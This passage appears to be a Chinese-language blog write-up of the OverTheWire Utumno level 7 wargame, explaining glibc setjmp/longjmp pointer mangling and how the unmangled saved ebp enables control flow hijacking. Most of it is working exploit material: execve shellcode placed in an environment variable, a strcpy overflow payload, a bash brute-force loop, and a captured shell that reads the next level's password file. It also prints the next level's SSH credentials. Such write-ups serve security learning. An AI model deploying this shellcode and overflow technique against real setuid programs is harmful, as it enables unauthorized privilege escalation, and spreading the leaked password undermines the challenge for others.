    if(argc<=1){
        puts("lol ulrich && fuck hector");
        exit(1);
    }
    vuln((char*)argv[1]);
}

两个jmp函数功能TL;DR

setjmp功能就是调用时会保存调用setjmp前程序执行的上下文(比如eip,esp等寄存器)到一个结构体里面。调用longjmp的时,longjmp根据之前的setjmp保存的结构体还原程序的上下文。通俗的说,setjmp就是打快照,longjmp就是还原快照,快照的还原点是调用setjmp的后一条语句。

setjmp,longjmp 函数具体可以参考:C Language: longjmp function

两个函数的实现原理&此题解法:

jmp_buf差不多具有以下结构:

/* Calling environment, plus possibly a saved signal mask.  */
struct __jmp_buf_tag
  {
    /* NOTE: The machine-dependent definitions of `__sigsetjmp'
       assume that a `jmp_buf' begins with a `__jmp_buf' and that
       `__mask_was_saved' follows it.  Do not move these members
       or add others before it.  */
    int __jmp_buf[6] ;		/* Calling environment.  */
    int __mask_was_saved;	/* Saved the signal mask?  */
    __sigset_t __saved_mask;	/* Saved signal mask.  */
  };

可以猜到此结构会存储6个寄存器的值。

从IDA的反汇编可以看出,strcpy函数复制时buf[120]的偏移是ebp+288。struct foo的偏移是ebp+160。

本来我想找一下setjmp的源码分析一下执行逻辑,但根据Where is glibc’s code for setjmp?表示其是用汇编语言实现的,于是就硬刚汇编语言分析了。

TL;DR: 直接看汇编注释中===>>>!!!加精部分。

setjmp函数的反汇编:

libc_2.33.so:F7DF0530 _setjmp:
libc_2.33.so:F7DF0530 xor     eax, eax      
libc_2.33.so:F7DF0532 mov     edx, [esp+4]      ; 得到 jmp_buf的地址
libc_2.33.so:F7DF0536 mov     [edx], ebx        ; jmp_buf.__jmp_buf[0]=ebx
libc_2.33.so:F7DF0538 mov     [edx+4], esi      ; jmp_buf.__jmp_buf[1]=esi
libc_2.33.so:F7DF053B mov     [edx+8], edi      ; jmp_buf.__jmp_buf[2]=edi ,依次保存寄存器
libc_2.33.so:F7DF053E lea     ecx, [esp+4]      ; ecx=esp+4 (运行时观察栈会发现是在esp+4是setjmp调用之前的栈指针位置)
libc_2.33.so:F7DF0542 xor     ecx, large gs:18h ; ecx^=gs:18h 
libc_2.33.so:F7DF0549 rol     ecx, 9            ; ecx rol=9
libc_2.33.so:F7DF054C mov     [edx+10h], ecx    ; jmp_buf.__jmp_buf[4]=ecx ,>>>===!!! 保存编码后setjmp函数调用之前的栈指针
libc_2.33.so:F7DF054F mov     ecx, [esp]        ; ecx=*esp ,运行是发现栈顶保存返回地址,也就是ecx为setjmp函数的返回地址。
libc_2.33.so:F7DF0552 xor     ecx, large gs:18h ; ecx^=gs:18h
libc_2.33.so:F7DF0559 rol     ecx, 9            ; ecx rol=9,rol表示循环左移
libc_2.33.so:F7DF055C mov     [edx+14h], ecx    ; jmp_buf.__jmp_buf[5]=ecx ,===>>>!!! 经过一些编码的eip保存。
libc_2.33.so:F7DF055F mov     [edx+0Ch], ebp    ; jmp_buf.__jmp_buf[3]=ebp,ebp指向setjmp调用之前的栈帧。保存
libc_2.33.so:F7DF0562 mov     [edx+18h], eax    ; jmp_buf.__mask_was_saved=eax=0
libc_2.33.so:F7DF0565 retn

longjmp函数还原eip部分(因为我们只对这部分感兴趣)的反汇编:

libc_2.33.so:F7DF0630 mov     eax, [esp+4]      ; eax=&jmp_buf  得到之前保存的jmp_buf的地址。
libc_2.33.so:F7DF0634 mov     edx, [eax+14h]    ; edx=jmp_buf.__jmp_buf[5], ===>>>!!! 取edx也就是编码后的setjmp返回地址(即之前存的eip)。
libc_2.33.so:F7DF0637 mov     ecx, [eax+10h]    ; ecx=jmp_buf.__jmp_buf[4], 得到编码后setjmp函数调用之前的栈指针
libc_2.33.so:F7DF063A ror     edx, 9            ; edx循环右移9位
libc_2.33.so:F7DF063D xor     edx, large gs:18h ; edx与gs:18h ===>>>!!! 解码还原eip也就是setjmp的返回地址。
libc_2.33.so:F7DF0644 ror     ecx, 9            
libc_2.33.so:F7DF0647 xor     ecx, large gs:18h ; 解码栈指针
libc_2.33.so:F7DF064E mov     ebx, [eax]
libc_2.33.so:F7DF0650 mov     esi, [eax+4]
libc_2.33.so:F7DF0653 mov     edi, [eax+8]
libc_2.33.so:F7DF0656 mov     ebp, [eax+0Ch]
libc_2.33.so:F7DF0659 mov     eax, [esp+8]      ; 以此根据buf还原寄存器。
libc_2.33.so:F7DF065D mov     esp, ecx          ; 还原栈指针
libc_2.33.so:F7DF065F jmp     edx               ; edx为解码后的setjmp函数返回地址,跳转回去。

esp,和eip在jmp_buf中的保存的时候编码了,只要一改动eip(xor edx, large gs:18h类似于金丝雀)解码就不对,程序直接崩。就不能覆盖所保存的eip了。

继续观察longjmp返回后的反汇编,也就是到setjmp后的语句,因为此时if(!i)判断为假了,程序直接返回,让我们来看看此后的指令执行:

.text:080484FA                 mov     eax, 0
.text:080484FF                 leave
.text:08048500                 retn

我们知道 leave 指令等价于:mov esp,ebp + pop ebp组合指令,retn 指令会先pop eip。虽然esp,eip编码了,但是ebp没有编码!!(ebp在jmp_buf+12的位置)。

于是我们就可以在strcpy时把结构题所保存的ebp覆盖为某个地址,此地址+4指向的地址指向环境变量shllcode的地址。这样返回的时候eip直接指向我们的shellcode。

差不多构造成下面这样,假设ebp需要为CCCC:

./utumno7 $(python -c "print 'A'*128+'BBBB'*3+'CCCC'")

我直接上号。

utumno7@utumno:/tmp/jkfl$ export SHELLCODE=$(python -c 'print 200 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80"')

写一个程序看一下shellcode的序号.

#include <stdio.h>

int main(int argc, char *argv[], char **envp){
    int i=0;    
    while(*envp){
        printf("add[%d]: %s\n",i,*envp);
        i++; 
        envp++;
    }
}
utumno7@utumno:/tmp/jkfl$ gcc -m32 number.c -o number
utumno7@utumno:/tmp/jkfl$ ./number

...

add[8]: LC_NAME=en_US.UTF-8
add[9]: SHELLCODE=��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��1�1Ұ,̀
add[10]: USER=utumno7
add[11]: PWD=/tmp/jkfl
add[12]: HOME=/home/utumno7
add[13]: SSH_CLIENT=183.227.200.198 10908 22
add[14]: LC_ADDRESS=en_US.UTF-8
add[15]: LC_NUMERIC=en_US.UTF-8
add[16]: SSH_TTY=/dev/pts/0
add[17]: MAIL=/var/mail/utumno7
add[18]: TERM=xterm-256color
add[19]: SHELL=/bin/bash
add[20]: TMOUT=1800
add[21]: SHLVL=1
add[22]: LC_TELEPHONE=en_US.UTF-8
add[23]: LOGNAME=utumno7
add[24]: PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
add[25]: LC_IDENTIFICATION=en_US.UTF-8
add[26]: LC_TIME=en_US.UTF-8
add[27]: _=./number
...

序号是第9个的样子,用gdb看一下地址shellcode指针地。

utumno7@utumno:/tmp/jkfl$ gdb -q  /utumno/utumno7
Reading symbols from /utumno/utumno7...done.
(gdb) break *main
Breakpoint 1 at 0x8048501: file utumno7.c, line 32.
(gdb) r abcd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 abcd

Breakpoint 1, main (argc=2, argv=0xffffd574) at utumno7.c:32
32	in utumno7.c
(gdb) x/wx (char **)environ+9
0xffffd5a4:	0xffffdd5a
(gdb) x/s 0xffffdd5a
0xffffdd5a:	"LC_NAME=en_US.UTF-8"
(gdb) x/wx (char **)environ+10
0xffffd5a8:	0xffffdd6e
(gdb) x/s 0xffffdd6e
0xffffdd6e:	"SHELLCODE=", '\220' <repeats 190 times>...

最开始发现9不是,再往后找一个,可能gdb启动的时候里面加了一个环境变量。所以我们需要的地址在0xffffd5a8附近,退出gdb,写个脚本暴力枚举后面两位。

#!/usr/bin/env bash

while [[ $i  -lt  255 ]];
do
    x=`printf "%02X\n"  $i`
    echo $x
#    echo "$(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd1\xff\xff'")"
    /utumno/utumno7  $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
    
    i=`expr $i + 1` 
done

utumno7@utumno:/tmp/jkfl$ chmod +x force.sh 
utumno7@utumno:/tmp/jkfl$ ./force.sh 

...

lol ulrich && fuck hector
./force.sh: line 11: 23038 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
15
lol ulrich && fuck hector
./force.sh: line 11: 23042 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
16
lol ulrich && fuck hector
./force.sh: line 11: 23046 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
17
lol ulrich && fuck hector
./force.sh: line 11: 23050 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
18
lol ulrich && fuck hector
./force.sh: line 11: 23054 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
19
lol ulrich && fuck hector
./force.sh: line 11: 23058 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
1A
lol ulrich && fuck hector
./force.sh: line 11: 23062 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
1B
lol ulrich && fuck hector
./force.sh: line 11: 23066 Segmentation fault      /utumno/utumno7 $(python -c "print 'A'*128+'BBBB'*3+'\x${x}\xd5\xff\xff'")
1C
lol ulrich && fuck hector
$ whoami 
utumno8
$ cat /etc/utumno_pass/utumno8
jaeyeetiav
$ 

一切皆在我们的计算之中。理论上能行,实际上也能行。挺好的一道题,虽然想了许久。

Utumno 08

SSH : ssh utumno8@utumno.labs.overthewire.org -p 2227

Pass : jaeyeetiav

完结撒花。